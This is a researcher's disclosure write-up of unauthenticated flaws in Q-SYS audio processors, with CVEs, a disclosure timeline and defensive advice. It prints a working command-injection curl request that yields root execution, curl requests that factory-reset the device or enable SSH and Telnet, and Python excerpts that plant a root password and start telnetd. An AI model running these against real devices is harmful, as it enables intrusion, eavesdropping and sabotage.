From Curious User to Root Shell: How I Accidentally Hacked My Favorite Audio Processor

By Andrew Furlani  ·  Written: April 30, 2026

TL;DR

I discovered a cluster of critical vulnerabilities in QSC's Q-SYS audio processing platform, including an unauthenticated remote code execution (RCE) vulnerability that achieves root shell access with a single HTTP request. Acuity Brands (QSC's parent company) consolidated the findings into two published advisories:

---

How It Started: Just a Curious Power User

I've been working with Q-SYS for years now. It's genuinely pretty cool technology. The way you can route audio, build custom control interfaces with Lua scripting, and integrate with third-party systems is fantastic. I've deployed it in multiple venues and spent countless hours in Q-SYS Designer. So, please don't read this as a hit piece. I actually love this platform.

But I'm also the kind of person who likes to understand how things work. What's actually running on these processors? How does the web interface talk to the DSP engine? What's in those firmware files I've been installing?

One day, I downloaded a firmware update from QSC's website and noticed something interesting: the update package was just a squashfs image. A quick unsquashfs command later, and I was staring at a complete Linux root filesystem.

$ unsquashfs coreos.squash
$ ls rootfs/
bin  etc  lib  mnt  opt  proc  root  sbin  sys  usr  var

Everything was there. The kernel, the init scripts, the web server, and all the CGI scripts that power the device's management interface. No encryption, no obfuscation, just a standard embedded Linux system laid bare.

That alone isn't a vulnerability, of course. Lots of embedded devices ship firmware this way. But it gave me a complete map of the system to explore.

The Forum Post That Changed Everything

Around the same time, I was browsing the Q-SYS Communities forum, the official user community where integrators share tips and tricks. I stumbled across a thread where someone mentioned "hidden web endpoints" on the Core processors. The post was vague — something about diagnostic pages and special URLs that weren't documented in the official manuals.

My curiosity was officially piqued.

With the extracted firmware in hand, I started exploring /usr/qsc/www/cgi-bin/, the directory containing all the web endpoints. What I found was... extensive. Dozens of CGI scripts handling everything from device discovery to network configuration to service management.

Many of them had no authentication checks whatsoever.

I opened my browser, pointed it at my own Core 110f sitting on my test bench, and started poking around.

---

The Vulnerabilities: What I Found in Those CGI Scripts

What I originally tracked as multiple distinct findings was ultimately published by Acuity PSIRT as two CVEs: CVE-2026-41528 (the RCE) and CVE-2026-41529 (an umbrella covering all of the unauthenticated privileged operations). I've grouped the technical write-ups below under those identifiers.

CVE-2026-41528: The One-Liner Root Shell (CVSS 4.0 score 9.9)

The crown jewel. A single curl command grants complete root access to the device:

curl -sk 'https://TARGET/cgi-bin/collectd_execute?action=pstart&puserid=test;id;&papikey=k&pservername=s'

Response:

The vulnerability exists in /cgi-bin/collectd_execute, a CGI script intended to manage Prometheus/Grafana telemetry services. The $puserid parameter is taken straight from the query string and written, unsanitized, into a shell environment file:

# collectd_execute_script line 140 (inside create_promtail_env)
echo "export PROM_USER=$puserid" >> $promtail_config

The injected metacharacters don't fire inside that echo — they're written verbatim into /var/rwfs2/promtail_env. They fire a moment later when the CGI calls /etc/init.d/promtail-init start, which sources that env file. At that point a payload like puserid=test;id; is parsed as three statements: export PROM_USER=test, then id, then an empty statement. The id command runs as root in the init script's shell context, and its output is returned in the HTTP response. Classic source-injection via an unquoted variable — the kind of bug that should have died in the 90s.

---

CVE-2026-41529: Unauthenticated Privileged Operations (CVSS 4.0 score 9.9)

Acuity bundled the remaining unauthenticated CGI abuses into a single advisory covering:

• Unauthenticated Packet Capture
• Unauthenticated Configuration Manipulation
• Unauthenticated Factory Reset
• Unauthenticated Device Reboot
• Unauthenticated Service Enablement
• Sensitive Information Disclosure
• Unauthenticated Network Configuration Manipulation

The individual primitives I originally documented map cleanly onto that list. A few of the most impactful examples follow.

Factory Reset (One-Click Wipe)

Imagine being able to completely wipe a production audio system with a single unauthenticated HTTP request:

curl -sk 'https://TARGET/cgi-bin/factory_reset?level=2'

The endpoint accepts two levels:

• Level 1: Deletes all user data, designs, logs, wipes persistent storage, reboots
• Level 2: Complete factory reset including all data partitions

No authentication. No confirmation. No audit trail. A disgruntled employee or anyone on the network could take down an entire venue's audio infrastructure.

Service Enablement Without Authentication

Want to enable SSH or Telnet on the device? Just ask nicely:

curl -sk 'https://TARGET/cgi-bin/access_config?ssh=true&telnet=true'

This endpoint reads and writes service configuration without any authentication checks. Combined with the RCE vulnerability to set a root password, this creates a persistent backdoor.

Sensitive Information Disclosure / Network Reconnaissance

The /cgi-bin/discover endpoint dumps everything an attacker needs for network mapping:

<QDP>
<device>
    <type>core</type>
    <name>core-1212</name>
    <part_number>Core 110f</part_number>
    <lan_a_ip>192.168.1.123</lan_a_ip>
    <lan_a_mac>00:60:74:F8:09:13</lan_a_mac>
    <lan_b_mac>00:60:74:F8:09:12</lan_b_mac>
    <lan_a_lldp>a0:21:f9:60:0c:36+tw1</lan_a_lldp>
    <firmware>
        <hash>9c1e68a8</hash>
    </firmware>
</device>
</QDP>

Device names, IP addresses, MAC addresses, LLDP neighbors, and firmware hashes. Everything needed to fingerprint and target specific devices.

Additional Primitives Covered by CVE-2026-41529

Primitive	Maps to advisory bullet
DHCP / network configuration manipulation	Unauthenticated Network Configuration Manipulation
Unauthenticated device reboot	Unauthenticated Device Reboot
Kernel log / dmesg disclosure	Sensitive Information Disclosure
Unauthenticated packet capture trigger	Unauthenticated Packet Capture

---

Building the "Jailbreak"

Once I confirmed the RCE worked, I built a complete jailbreak tool to demonstrate the full impact. With a single Python script, I could:

1. Backup the original root password hash (for reversibility)
2. Set a new root password
3. Enable Telnet and SSH servers
4. Establish persistent backdoor access

# Simplified excerpts from qsc_jailbreak.py

def execute_command(target_ip, command):
    # puserid is sourced by promtail-init as root — metacharacters execute
    payload = {
        "action": "pstart",
        "puserid": f"x;{command.replace(' ', '$IFS')}>/tmp/o;cat$IFS/tmp/o;",
        "papikey": "k", "pservername": "s",
    }
    r = requests.get(f"https://{target_ip}/cgi-bin/collectd_execute",
                     params=payload, verify=False, timeout=5)
    return _extract_output(r.text)

def jailbreak(target_ip):
    execute_command(target_ip, "cat /etc/passwd")  # snapshot before touching anything
    install_root_password(target_ip)
    execute_command(target_ip, "/usr/sbin/telnetd")
    print(f"Root shell available: telnet {target_ip}")

Within seconds, I had a full root shell on professional audio equipment worth thousands of dollars, installed in venues ranging from corporate boardrooms to concert halls.

And this was my own device. A device I'd trusted on my network for years.

---

Why This Matters: It's More Than Just "Audio Gear"

I've deployed Q-SYS in enough venues to know where these things end up:

• Corporate headquarters: Boardrooms, training centers, all-hands spaces
• Universities: Lecture halls, event centers, athletic facilities
• Theaters and concert halls: Broadway shows, symphonies, live events
• Houses of worship: Megachurches, cathedrals
• Government facilities: Courtrooms, council chambers
• Broadcast facilities: TV studios, radio stations

A motivated attacker with network access could:

1. Eavesdrop on confidential meetings (microphones are connected to these processors)
2. Disrupt events by manipulating audio routing or triggering factory resets
3. Establish persistence for long-term access
4. Pivot to other network segments (these devices often bridge AV and corporate networks)
5. Exfiltrate system designs containing network topology and credentials

---

Recommendations for Q-SYS Operators

1. Network segmentation. Isolate AV networks from corporate networks.
2. Enable authentication. Use the PIN/password features even if they're optional.
3. Update firmware. When a real fix is released, not just when you feel like it!
4. Restrict network access. Firewall rules limiting who can reach management interfaces.

---

Timeline

Date	Event
October 2025	Initial discovery on firmware 10.0.1-2508.003
October 2025	Developed proof-of-concept exploits
November 2025	Contacted QSC security team
November 2025	Firmware 10.1.0 released
November 2025	Verified vulnerabilities still present in 10.1.0
December 2025	Follow-up communication with QSC
March 31, 2026	Q-SYS Designer 10.2.1 released. RCE function removed.
April 2026	Acuity PSIRT publishes advisories QSYS-04-29-9001 and QSYS-04-29-9002, assigning CVE-2026-41528 and CVE-2026-41529
April 2026	Initial public disclosure (this post)

---

Vendor Advisories

Acuity Brands' PSIRT published the final coordinated advisories here:

• CVE-2026-41528 Q-SYS Core Unauthenticated Remote Code Execution (Document ID: QSYS-04-29-9002)
• CVE-2026-41529 Q-SYS Core Unauthenticated Privileged Operations (Document ID: QSYS-04-29-9001)

---

Conclusion

I want to be clear: I still think Q-SYS is a great platform. The audio processing is rock solid, the scripting capabilities are unmatched, and the ecosystem of peripherals keeps growing. I'll keep using it.

But the security posture is stuck in 2005. Unauthenticated CGI scripts with command injection vulnerabilities, protocols with no authentication, and a "security update" that missed the most critical vulnerability.

This research started because I was curious about a product I use every day. I wasn't looking for vulnerabilities. I was looking for understanding. The vulnerabilities found me.

Professional AV equipment is often overlooked in security assessments because it's "just audio gear." But these devices run full Linux distributions, sit on corporate networks, and have access to sensitive audio streams. They deserve the same security scrutiny as any other networked system.

I hope this disclosure prompts not just QSC users, but the entire professional AV industry, to take security more seriously. The end users who trust these platforms deserve better.

"The most dangerous vulnerabilities are the ones hiding in devices nobody thinks to secure."